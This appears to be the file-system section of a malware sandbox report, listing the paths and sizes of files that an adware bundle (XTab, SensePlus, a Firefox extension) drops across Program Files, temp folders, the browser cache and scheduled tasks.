    %Program Files% (x86)\XTab\install.data (68 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\ver.txt (47 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
    %Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
    %Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
    %Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
    %Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9D58.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
    %Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\main.xml (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
    %Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
    %Program Files% (x86)\XTab\web\js\js.js (18 bytes)
    %Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
    %Program Files% (x86)\XTab\skin\logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
    %Program Files% (x86)\XTab\web\main.css (19 bytes)
    %Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
    %Program Files% (x86)\XTab\skin\close.png (3 bytes)
    %Program Files% (x86)\XTab\web\data.html (20 bytes)
    %Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
    %Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
    %Program Files% (x86)\XTab\skin\about.png (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\settings.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
    %Program Files% (x86)\XTab\web\js\common.js (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
    %Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\jquery.smooth-scroll.min[1].js (194 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\scripts[1].js (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\4.0stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (3795 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\analytics[1].js (16603 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7d4f668f3d1818d01b6b9684b669d0db[1].png (6417 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3d8bbea6bcae57d705c676f7050a7d51[1].png (5965 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\75OQZIG9.txt (89 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\5.0stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (5984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\home[1].htm (2911 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\13ca8e322e15bc394d66a37bec12e3b4[1].png (29414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\d586df222f5069b6c396373d67d0163b[1].png (27349 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\0692c2494a7331a77c05954f79c5480a[1].png (10231 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\52d5414e7372639389ab7e9e4d479aee[1].png (27834 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (33010 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\jquery-ui.min[1].js (119811 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ddb3b88cf98eb0220c9e6c252e376749[1].png (13400 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\365640f122ef96f033f2f87c6308031e[1].png (9533 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\lightbox[1].js (5015 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\btn_bg[1].jpg (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\23428f8768d928d2bd45dd3b0c4d0057[1].png (25985 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\loading[1].gif (200 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\b85261679e262228a562f693b3e6ef6f[1].png (35166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\1759703220576e41cab39feb18a11b14[1].png (9603 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\7c9d412c730603d1d82b98a548a71bac[1].png (10828 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\3.0stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ace33f0a1eddf74bbe8d1bfac70deded[1].png (10835 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\f4e4b853ddab3b763f0af17d513631bd[1].png (20729 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\36d7cd00f07003a67021237993257d08[1].png (10746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\567f43cb72fe3ac6419369953394cadd[1].png (41029 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\product[1].css (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3.5stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\4f263f4be4c4396c9078d1874c05b928[1].png (6665 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1QR21C9H.txt (219 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\7fb9f4ca0fa96299334c18ee76c7b68b[1].jpg (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\close[1].png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\logo[1].jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\e94782c9200f8de809a50327879df1cc[1].png (21105 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\lightbox[1].css (426 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\589b1e936e1f038dc45bd8ffff59b359[1].png (21288 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\config[1].json (778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\bbbde9554589bda63791709a6785e0a3[1].png (13530 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\css[1].css (155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\4.5stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (10535 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\style[1].css (181 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\442a5f30204dd385d17de5848683274f[1].png (18933 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\bg_main[1].jpg (200 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (1117 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7e5817bad781bbc2d2e43b350ccb53db[1].png (4804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\jquery.min[2].js (48775 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\logo_illust[1].jpg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\07fce0a4ff78cc7e6376e227f046ce06[1].png (36984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\a64a4b5c68c364d30083fbd0b0363585[1].png (24818 bytes)
    C:\Windows\Tasks\044ba9ad-d071-4924-93f1-321600ec1e76-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\pyejmpbax.dll (13 bytes)
    %Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-4.exe (9147 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\bqeciu.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\044ba9ad-d071-4924-93f1-321600ec1e76-4.dll (38103 bytes)
    %Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-5.exe (7385 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\104974 (93063 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd28F4.tmp (592111 bytes)
    %Program Files% (x86)\SensePlus\utils.exe (75605 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\System.dll (808 bytes)
    C:\Windows\Tasks\044ba9ad-d071-4924-93f1-321600ec1e76-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\edjertv.dll (3730 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\nwlioa.dll (30112 bytes)
    %Program Files% (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76.xpi (2321 bytes)
    %Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\130451 (3387 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\qwnqg.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\hmfgwj.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\qsjduyhw.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi2914.tmp\utmyveqj.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\Wrgdrartol.exe (1356640 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\cngedns.dll (2092 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\jjfxkflre.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\Qizsyknq.tmp (398925 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstA9E6.tmp\fcebyp.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE82D.tmp (5719 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (115 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\D1958.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\setup1.exe (144456 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyED1D.tmp (157299 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\setup.exe (1606835 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnED2D.tmp\NK.lky (16 bytes)
    %Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
    C:\ProgramData\TEMP:56E2E879 (435 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4459b62dc5e79a9e1dc0fbec1a0159a2.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f613379d10fc538470c569808696b227.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\abc83945d6d7c6453167f8fc2eb8ec17.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\fcba1a51ebe6452913692b839c545584.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7b656622de91ef3c1776db6f41b56761.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ff9531130a8322f0a8c1ff470c7b5820.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\821e2661ebea8715863a8428d7731cbb.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d3fbc796a1444b5d707193d30d4f9844.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d8d454cd9f244ad63aa737e3242ca00b.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5582977747e430fbe5505156ab9e5053.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b4e679f31f53a212262cd52829750c34.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\08445dbafaca7ee86331d09db9d5b887.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa7daa775ba089247801263fa91f025b.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\951e3c8f06afc8903e9b42e3a6dc1139.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6db2b84217c210fa8b657951f077562c.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\abe344250c227a99bc1745a867007ff2.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\375.js (685 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\339.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fab18abe7db19ea528a57eec66516f2f.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fc2099ec1a3e1c4c970f13b1798d360a.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4732a5578daea8ecc31dbc55e4b8ce96.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fb8607014c01a579b959251be79db0e6.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1dff9c3def0a0cd962448bca03678012.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\107fd749fd221297a4cb43ad5acdbc32.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
